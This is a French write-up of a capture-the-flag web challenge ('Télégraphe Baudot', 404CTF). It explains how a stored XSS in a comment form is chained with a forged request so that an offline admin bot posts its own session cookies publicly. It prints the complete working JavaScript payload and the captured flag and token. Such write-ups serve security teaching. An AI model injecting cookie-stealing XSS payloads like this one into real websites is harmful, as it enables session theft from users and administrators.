writeup

404 - Writeup CTF : Télégraphe Baudot

23/05/2026 Mis à jour le 12/06/2026
  • Catégorie : Web / Sécurité Offensive
  • Vulnérabilités exploitées : Cross-Site Scripting (XSS) stocké, Cross-Site Request Forgery (CSRF) local et vole de cookie
  • Contrainte majeure : Le bot administrateur n'a aucun accès à Internet (exfiltration externe impossible).

1. Analyse de l'application et vecteur d'attaque

L'interface web présente un système de communication historique inspiré du Télégraphe Baudot.

En inspectant le code source HTML et les fonctionnalités disponibles, trois éléments clés se distinguent :

  1. Étape I (Identification) : Un bouton déclenche la fonction JavaScript initCSRF(), laquelle envoie une requête vers /api/init_csrf. Sans cette action, la session n'est pas initialisée.
  2. Étape II (Transmission) : Un formulaire public permet de soumettre une dépêche (commentaire) via une requête POST vers /post_comment. Ce champ de texte ne nettoie pas les entrées utilisateur, le rendant vulnérable aux injections XSS stockées.
  3. Le bouton de signalement : L'action "Signaler un problème" envoie une requête à /visit, forçant un script simulant un administrateur (bot) à venir inspecter la page des dépêches reçues.
https://4cd9f333ef54b189.s.404ctf.fr/static/index.js

code source javascript pour analyse pentest dans le cadre d'un ctf

En tentant d'accéder manuellement à la page /flag, le serveur retourne la restriction suivante :

"Ceci est réservé aux admins..."

2. Le Piège du Challenge (Pourquoi l'approche classique échoue)

Une approche XSS classique consiste à injecter une charge utile (payload) qui vole le cookie et l'envoie vers un serveur contrôlé par l'attaquant.

Ici, deux barrières bloquent cette méthode :

  • Pas d'accès Internet : Le bot admin est isolé du réseau externe. Les requêtes vers l'extérieur échouent silencieusement.
  • Session non initialisée : Si le bot visite la page sans avoir préalablement cliqué sur "Établir le lien" (Étape I), ses privilèges ne sont pas activés. Effectuer un simple fetch('/flag') renvoie la même erreur d'accès que pour un utilisateur classique.
  • La page /flag est vide : Le flag n'est pas dans directement dans la page /flag il est stocker dans le cookie initier sur le navigateur de l'admin.

tentative faille xss

3. Stratégie de Résolution : L'Exfiltration Locale

Puisque le bot ne peut pas communiquer avec l'extérieur, il faut utiliser l'application elle-même comme zone de stockage temporaire. Le but est de forcer le navigateur de l'administrateur à accomplir une chaîne d'actions automatiques lors de sa visite :

[Visite du Bot Admin] 
       │
       ▼
1. Requête vers la fonctione initCSRF() /api/init_csrf (Initialisation)
       │
       ▼
2. Requête vers /flag (Déclenchement de la transmission)
       │
       ▼
3. Lecture de document.cookie (Extraction de tout les cookies)
       │
       ▼
4. Requête POST vers /post_comment (Soumission publique des cookies)

4. Conception du Payload Final

Pour éviter que notre propre navigateur ne pollue l'espace de commentaires en bouclant sur l'erreur d'accès, une condition de sécurité vérifie le contenu renvoyé par la route /flag.

Voici le code JavaScript complet qui a permis de récupérer le secret :

<script>
(function() {
    // 1. Initialisation du jeton et des privilèges de l'admin
    fetch('/api/init_csrf')
    .then(response => {
        if (response.ok) {
            // 2. Une fois le lien établi, appel de la route critique
            return fetch('/flag');
        }
    })
    .then(res => res.text())
    .then(data => {
        // Sécurité : évite d'exécuter la suite sur notre propre session non-admin
        if (data.includes("Ceci est réservé aux admins")) {
            return;
        }

        // 3. Préparation des données (Corps HTML + Cookies de session de l'admin)
        let formData = new FormData();
        formData.append('comment', 'FLAG_OBTENU : ' + data + ' ' + document.cookie);

        // 4. Exfiltration locale en publiant un nouveau commentaire contenant les secrets
        return fetch('/post_comment', {
            method: 'POST',
            body: formData
        });
    })
    .catch(err => console.error(err));
})();
</script>

5. Obtention du Flag

  1. Le payload ci-dessus est soumis dans le formulaire des dépêches.
  2. Un clic sur le bouton "Signaler un problème" appelle le bot admin sur la page.
  3. Le bot charge la page, exécute le script invisible en arrière-plan, initialise sa session, valide la route du drapeau et poste ses propres cookies dans l'espace public.
  4. Après un rafraîchissement de la page par l'utilisateur, la nouvelle dépêche laissée par l'administrateur apparaît :

Attaque xss et csrf combiner

FLAG_OBTENU : Flag transmis...flag=404CTF{SC13NT1F1QU3_P3U_4UX_N0RM3S}; csrf_token=b73aace697eb238eba6669d58193e2e7

Le flag validant le défi est : 404CTF{SC13NT1F1QU3_P3U_4UX_N0RM3S}